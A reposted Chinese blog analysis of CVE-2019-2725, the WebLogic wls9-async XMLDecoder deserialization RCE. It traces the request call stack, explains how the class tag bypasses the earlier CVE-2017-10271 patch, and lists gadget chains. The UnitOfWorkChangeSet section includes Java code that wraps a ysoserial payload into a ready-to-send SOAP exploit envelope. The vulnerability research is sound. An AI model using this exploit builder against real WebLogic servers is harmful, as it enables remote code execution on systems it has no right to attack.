转载

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

这个洞在五一前就完成了分析,后面的时间就在寻找好用的利用链和绕最新的补丁方法。本来是想等着这波热度过去后,学一下其他人是否有更好的利用手法,结果发现大多数人用的还是rmi或者jdk7的gadget(稍有些遗憾)…

这篇主要是来记录一下分析过程中一些比较关键的点,以及把自己找的一些利用链分享一下。其实是想等自己绕过最新补丁后再写一写绕补丁的想法的,结果经过快一周的研究,没整出来…后面一篇会把截止到目前我的一些绕补丁的思路总结下来,前面这篇就算是做一个基础铺垫了。在分析和挖掘的过程中特别感谢orich1、Badcode、Bearcat老哥们的交流与帮助。

0x01 漏洞概述

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

从漏洞描述中可以看出这个漏洞是 wls9_async_response 包的一个反序列化漏洞,并且走的是http协议,而从暂时的修补措施中可以推测是需要向 /_async/ 路径发送一个http包:

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

0x02 漏洞分析

这个洞比较有意思的一点在于利用而不是分析,所以我只是把调用栈列出来,并说说自己是怎么调这个漏洞的。

调用栈

HttpServlet$service:269
  BaseWSServlet$service:163
  BaseWSServlet$run:316
  SoapProcessor$process:28
  SoapProcessor$handlePost:45
    WsSkel$invoke:58
      ServerDispatcher$dispatch:93
        HandlerIterator$handleRequest:82
          WorkAreaServerHandler$handleRequest:32
            WorkContextMapImpl$receiveRequest:142
              WorkContextLocalMap$receiveRequest:165
                WorkContextEntryImpl$readEntry:72
                  WorkContextXmlInputAdapter$readUTF:104

调试的方法

至于怎么开远程调试之类的就不在这里赘述了,我说说在调的时候是怎么下断的,这个我觉得还是比较重要的。

刚拿到漏洞简述的时候以为是 wls9_async_response 这个包的问题,进去看了看发现并不是:

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

里面并没有什么解析过程,更像是处理响应包的过程。但是里面还是有一些让我留意的东西的:

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

可以看到这里绑定了作用域等信息,同时也绑定了soap的一些设置,既然这里并非漏洞的触发地,那漏洞是否可能是在处理请求时所触发的呢?所以我在 servlet 这边下了个断,跟了下请求的处理过程,接下来我说一下在调试过程中遇到的几个关键点,以及为什么我要这么跟。

2.1 请求的分派

请求的分派是在 weblogic.wsee.server.servlet.BaseWSServlet#run 中完成的:

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

这里会遍历一个请求处理器的数组,我们注意到这里会把不同的请求按照类型分派给不同的处理器进行处理,而所有的处理器中让我们比较感兴趣的的就是 SoapProcessor ,因为 SOAPXMl 可以进行简单的对象访问。

2.2 责任链处理请求

责任链的处理在 weblogic.wsee.ws.dispatch.server.ServerDispatcher ,这里使用轮询的方式将请求根据请求类型分派到不同的处理器中进行处理,具体的分派过程在 weblogic.wsee.handler.HandlerIterator

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

2.3 漏洞触发点

触发点在 weblogic.wsee.workarea.WorkAreaServerHandler#handleRequest

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

跟进 receiveRequest ,在 weblogic.workarea.WorkContextLocalMap#receiveRequest 中会对内容进行实体读取:

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

跟进 readEntry

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

可以看到最终会由 xmlDecoder.readObject 进行实例读取,而这里就存在 xmlDecoder 的反序列化问题,所以触发漏洞。

2.4 可能遇到的问题

在实际debug的时候可能会出现这么一个问题:无论如何构造soap包,都无法断到 WorkAreaServerHandler ,每次在 OperationLookupHandler 这里就会返回null,导致程序无法走到后面的 WorkAreaServerHandler 。遇到这个问题其实可以跟一下 OperationLookupHandler

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

跟一下 this.getOperationName 的过程,你会发现:

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

在你声明 workContext 后,你需要在header或body中调用才行,如果未找到调用的话, QName 将会返回null。

0x03 利用研究

之前网上放出的版本只是CVE-2017-10271的poc,然后被人炒了一波,其实仔细看过流程和补丁的人就能发现,新的这个漏洞是对于补丁的绕过:

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

而绕过点就需要继续向下跟代码。

3.1 绕过点

在2.3中我们看到了 xmlDecoder.readObject ,从这里继续向下跟:

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

具体的跟进过程不细谈,想了解的看一去跟一跟(很长)我这里说一下xmldecoder的一些关键点:

  • 处理开始标签
  • 标签处理
  • 处理结束标签

简单来说处理过程如下:

startElement # 处理父标签
  ElementHandler 
    startElement # 处理一级子标签
      ElementHandler 
        ...
    endElement # 处理一级子标签的结束标签
      ElementHandler.getValueObject
endElement # 处理父标签的结束标签
  ElementHandler.getValueObject

也就是说这其实可以理解为一个栈结构,后进先出。

这里的 ElementHandler 为以下的标签:

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

这里我们拿标签 object 来简单看一下:

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

可以看到首先在 startElement 中会执行 this.handler.addAttribute ,我们来跟进一下:

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

可以看到这里会检查标签的属性,并将其赋于不同的值(这里其实很关键,后面在尝试对最新补丁绕过的时候会用到,但是我还并没有绕过最新的补丁2333)在这里是实例化了我们class属性所指定的对象。在做完这些后会到 endElement 来处理结束标签(如果开始标签是):

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

可以看到这里在结束时会获取这个标签的值,而这个值是一个 ValueObject 对象。

而对于这次绕过的主角class标签来说,同样,我们直接来看他的 getValueObject 方法:

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

跟进他的 getValue 方法:

WebLogic wls9-async组件RCE分析(CVE-2019-2725)

同样完成了对象的实例化,而这次指定对象的地方,就是class标签的内容。

3.2 构造限制

理清了利用点后,那不妨来看看在构造的时候有哪些限制。

通过上文的叙述,应该不难发现,我们能用做的只是将一个实例化而已,而不能用method标签来调用类中的方法,所以这不得不逼迫我们去找到一个 构造方法中就存在反序列化的点

3.3 Gadget

我找到这么几个比较好用的利用链,这里把利用方法和限制总结一下。

UnitOfWorkChangeSet

  1. 具体的包: oracle.toplink.internal.sessions.UnitOfWorkChangeSetoracle_common/modules/oracle.toplink_12.1.3/eclipselink.jar
  2. 限制条件:
    • 服务器是否允许外连
    • jdk版本(1.8会限制rmi)
  3. 配合使用的gadget:
    • URLDNS(yso)用于检测漏洞
    • Jdk7u21(yso)用于rce,但是有jdk版本限制
    • cve-2018-3191
  4. 简述:

    由于需要自己构造一个 ByteArray ,所以这部分需要自己写点代码:

    public static void main(String[] args) throws Exception{
        FileInputStream fileInputStream = new FileInputStream("上面提到的配合使用的gadget所生成的文件或地址");
        BufferedInputStream in = new BufferedInputStream(fileInputStream);
        ByteArrayOutputStream out = new ByteArrayOutputStream(1024);
        System.out.println("Avaliable bytes:"+in.available());
    
        String exp = "<soapenv:Envelope xmlns:soapenv=/"http://schemas.xmlsoap.org/soap/envelope//"/n" +
                " xmlns:wsa=/"http://www.w3.org/2005/08/addressing/"/n" +
                " xmlns:asy=/"http://www.bea.com/async/AsyncResponseService/">/n" +
                "   <soapenv:Header>/n" +
                " <wsa:Action>demoAction</wsa:Action>/n" +
                " <wsa:RelatesTo>test</wsa:RelatesTo>/n" +
                " <work:WorkContext xmlns:work=/"http://bea.com/2004/06/soap/workarea//">/n" +
                " <java>/n" +
                "  <class>/n" +
                "   <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>/n" +
                "   <void>/n" +
                "     $code/n" +
                "   </void>/n" +
                "  </class>/n" +
                " </java>/n" +
                " </work:WorkContext>/n" +
                "  </soapenv:Header>/n" +
                "  <soapenv:Body>/n" +
                "      <asy:onAsyncDelivery/>/n" +
                "   </soapenv:Body>/n" +
                "</soapenv:Envelope>";
    
        byte[] temp = new byte[1024];
        int size = 0;
        while ((size = in.read(temp))!=-1)
        {
            out.write(temp, 0, size);
        }
        in.close();
        byte[] content = out.toByteArray();
        String poc = encodeByteToXml(content);
        System.out.println(exp.replace("$code", poc));
        out.close();
    }
    
    static String encodeByteToXml(byte[] data) {
        ProcessBuilder test = new ProcessBuilder();
        StringBuilder sb = new StringBuilder();
        String tmp = "";
        String str = "  <void index=/"$1/">/n" +
                "      <byte>$2</byte>/n" +
                "  </void>";
        int i = 0;
        sb.append("<array class=/"byte/" length=/"$0/">".replace("$0",Integer.toString(data.length))+"/n");
        for (byte b : data) {
            tmp = str.replace("$1", String.valueOf(i)).replace("$2",Integer.toString((int)b));
            sb.append(tmp+"/n");
            i = i + 1;
        }
        sb.append("</array>");
        //System.out.println(sb.toString());
        return sb.toString();
    }
    

EventData

  1. 具体的包: org.slf4j.ext.EventData
  2. 限制条件:
    • 服务器是否允许外连
    • weblogic版本限制(12.1.3有)
  3. 简述:
    xml的二次解析,具体可以自己看看
原文  https://lucifaer.com/2019/05/10/WebLogic wls9-async组件RCE分析(CVE-2019-2725)/
正文到此结束
Loading...